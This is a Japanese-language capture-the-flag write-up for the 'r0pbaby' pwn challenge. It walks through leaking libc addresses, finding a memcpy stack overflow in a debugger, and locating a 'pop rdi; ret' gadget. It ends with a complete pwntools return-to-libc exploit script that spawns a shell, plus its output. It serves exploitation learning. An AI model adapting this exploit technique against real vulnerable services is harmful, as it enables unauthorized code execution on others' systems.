pwnlist baby r0pbaby
下調べ
mattun-mart@4ctf:~/Workspace/pwn/baby/r0pbaby$ file r0pbaby | sed -e "s/,/\n/g" r0pbaby: ELF 64-bit LSB shared object x86-64 version 1 (SYSV) dynamically linked interpreter /lib64/ld-linux-x86-64.so.2 for GNU/Linux 2.6.24 stripped
mattun-mart@4ctf:~/Workspace/pwn/baby/r0pbaby$ checksec.sh --file r0pbaby RELRO STACK CANARY NX PIE RPATH RUNPATH FILE No RELRO No canary found NX enabled Not an ELF file No RPATH No RUNPATH r0pbaby
NX有効.
解析
起動させるとメニューが表示される.それぞれの処理は下記の通り.
1.libcの値を取得して表示.(ただし,正しいlibc_baseのアドレスではなかった)
2.入力したlibc内の関数のアドレスを取得して表示.
3.入力したバイト数分データを送信.
4.プログラムの終了.
Welcome to an easy Return Oriented Programming challenge... Menu: 1) Get libc address 2) Get address of a libc function 3) Nom nom r0p buffer to stack 4) Exit
さっそくメニュー2の処理でsystem関数のアドレスを出してみると,それらしきものが出力された.
デバッガの方でsystem関数のアドレスを調べてみたところ,出力されたアドレスは正しいアドレスを出力していた.
ということは,取得したsystem関数のアドレスからsystem関数の相対アドレスを引いてlibc_baseのアドレスを求めることが可能.
Welcome to an easy Return Oriented Programming challenge... Menu: 1) Get libc address 2) Get address of a libc function 3) Nom nom r0p buffer to stack 4) Exit : 2 Enter symbol: system Symbol system: 0x00007F4A2A142390
あと,メニュー3の処理にはどうやらバグがあるらしい.
Welcome to an easy Return Oriented Programming challenge... Menu: 1) Get libc address 2) Get address of a libc function 3) Nom nom r0p buffer to stack 4) Exit : 3 Enter bytes to send (max 1024): 10 AAAAAAAAAA 1) Get libc address 2) Get address of a libc function 3) Nom nom r0p buffer to stack 4) Exit : Bad choice. Segmentation fault (コアダンプ)
デバッガで調べてみるとバッファオーバーフローが起きていた.
入力した内容は,memcpy関数によってrbpのアドレスにコピーされるため,リターンアドレスが書き換わってしまうらしい.
[----------------------------------registers-----------------------------------] RAX: 0xa ('\n') RBX: 0x7ffd42a4ebb0 ("AAAAAAAAA\nl*J\177") RCX: 0x7f4a2a1f4260 (<__read_nocancel+7>: cmp rax,0xfffffffffffff001) RDX: 0xa ('\n') RSI: 0x7ffd42a4ebb0 ("AAAAAAAAA\nl*J\177") RDI: 0x7ffd42a4eff0 --> 0x55862e0a3031 RBP: 0x7ffd42a4eff0 --> 0x55862e0a3031 RSP: 0x7ffd42a4eba0 --> 0x7ffd42a4ec34 --> 0x0 RIP: 0x55862e53de4e (call 0x55862e53d9d0 <memcpy@plt>) R8 : 0x7f4a2a8d5700 (0x00007f4a2a8d5700) R9 : 0x7f4a2a8d5700 (0x00007f4a2a8d5700) R10: 0x0 R11: 0x246 R12: 0xa ('\n') R13: 0xa ('\n') R14: 0xa ('\n') R15: 0x7f4a2a4c2710 --> 0x7f4a2a4c18e0 --> 0xfbad2288 EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x55862e53de45: mov rdx,r12 0x55862e53de48: mov rsi,rbx 0x55862e53de4b: mov rdi,rbp => 0x55862e53de4e: call 0x55862e53d9d0 <memcpy@plt> 0x55862e53de53: jmp 0x55862e53dcca 0x55862e53de58: lea rdi,[rip+0x181] # 0x55862e53dfe0 0x55862e53de5f: call 0x55862e53d970 <puts@plt> 0x55862e53de64: jmp 0x55862e53dcca Guessed arguments: arg[0]: 0x7ffd42a4eff0 --> 0x55862e0a3031 arg[1]: 0x7ffd42a4ebb0 ("AAAAAAAAA\nl*J\177") arg[2]: 0xa ('\n') [------------------------------------stack-------------------------------------] 0000| 0x7ffd42a4eba0 --> 0x7ffd42a4ec34 --> 0x0 0008| 0x7ffd42a4eba8 --> 0x7f4a2a8d74e8 --> 0x7f4a2a0fd000 --> 0x3010102464c457f 0016| 0x7ffd42a4ebb0 ("AAAAAAAAA\nl*J\177") 0024| 0x7ffd42a4ebb8 --> 0x7f4a2a6c0a41 (MemError) 0032| 0x7ffd42a4ebc0 --> 0x7f4a2a6cb450 --> 0xc002200000110 0040| 0x7ffd42a4ebc8 --> 0x7ffd42a4ec38 --> 0x0 0048| 0x7ffd42a4ebd0 --> 0x3de00ec7 0056| 0x7ffd42a4ebd8 --> 0xf7803b
64ビット環境なので8文字以降の入力でリターンアドレスを書き換えられる.
あとは,リークしたlibc_baseアドレスを使ってsystem関数を呼び出してあげれば良さそう.
Exploit
libc_baseを特定するために,libc内のsystem関数の相対アドレスを調べる.
mattun-mart@4ctf:~/Workspace/pwn/baby/r0pbaby$ ldd r0pbaby linux-vdso.so.1 => (0x00007ffceaf86000) libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fc1828cb000) libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fc182501000) /lib64/ld-linux-x86-64.so.2 (0x00007fc182cd2000) mattun-mart@4ctf:~/Workspace/pwn/baby/babyecho$ nm -D /lib/x86_64-linux-gnu/libc.so.6 | grep system 0000000000045390 T __libc_system 0000000000138810 T svcerr_systemerr 0000000000045390 W system
シェルを起動するために/bin/shという文字列が必要になるため,これもlibc内を調べる.
mattun-mart@4ctf:~/Workspace/pwn/baby/babyecho$ strings -tx /lib/x86_64-linux-gnu/libc.so.6 | grep bin/sh 18cd57 /bin/sh
64bit環境では引数はレジスタを利用するため,/bin/shをレジスタに渡してsystem関数を呼び出す必要がある.(ただし,引数が多いとレジスタも使用される.)
第一引数はrdiに渡せば良いので,「pop rdi; ret」という命令をlibc内から探す.
mattun-mart@4ctf:~/Workspace/pwn/baby/r0pbaby$ rp -f /lib/x86_64-linux-gnu/libc.so.6 -r 1 --unique | grep "pop rdi" 0x0010741a: pop rdi ; call rax ; (1 found) 0x000f9901: pop rdi ; jmp qword [rbp+rax*2-0x77] ; (2 found) 0x00104052: pop rdi ; jmp rax ; (1 found) 0x00037861: pop rdi ; rep ret ; (5 found) 0x00021102: pop rdi ; ret ; (535 found) 0x00067499: pop rdi ; retn 0xFFFF ; (1 found)
材料は揃ったのであとは組み立てるだけ.
#~/usr/bin/env python # -*- coding:utf-8 -*- from pwn import * import struct #context.log_level = 'debug' conn = process('./r0pbaby') # 実際はリモートで動いているlibcを特定する必要あり # 各値は筆者の環境で調べた値 libc_system_offset = 0x45390 binsh_offset = 0x18cd57 pop_ret_edi_offset = 0x21102 conn.recv() conn.send("2\n") conn.recv() conn.send("system\n") libc_system = int(conn.recvline()[15:].strip("\n"),16) libc_base = libc_system - libc_system_offset payload = "AAAAAAAA" payload += p64(libc_base + pop_ret_edi_offset) # ediに/bin/shを渡してsystem関数起動 payload += p64(libc_base + binsh_offset) # popでediに渡す値 payload += p64(libc_system) # retの飛び先 payload += "\n" conn.send("3\n") conn.send(str(len(payload)) + "\n") conn.send(payload) conn.send("4\n") conn.interactive()
結果
mattun-mart@4ctf:~/Workspace/pwn/baby/r0pbaby$ python exploit.py [+] Starting local process './r0pbaby': pid 10018 [*] Switching to interactive mode 1) Get libc address 2) Get address of a libc function 3) Nom nom r0p buffer to stack 4) Exit : Enter bytes to send (max 1024): 1) Get libc address 2) Get address of a libc function 3) Nom nom r0p buffer to stack 4) Exit : Exiting. $ ls a.out core dump exploit.py peda-session-r0pbaby.txt r0pbaby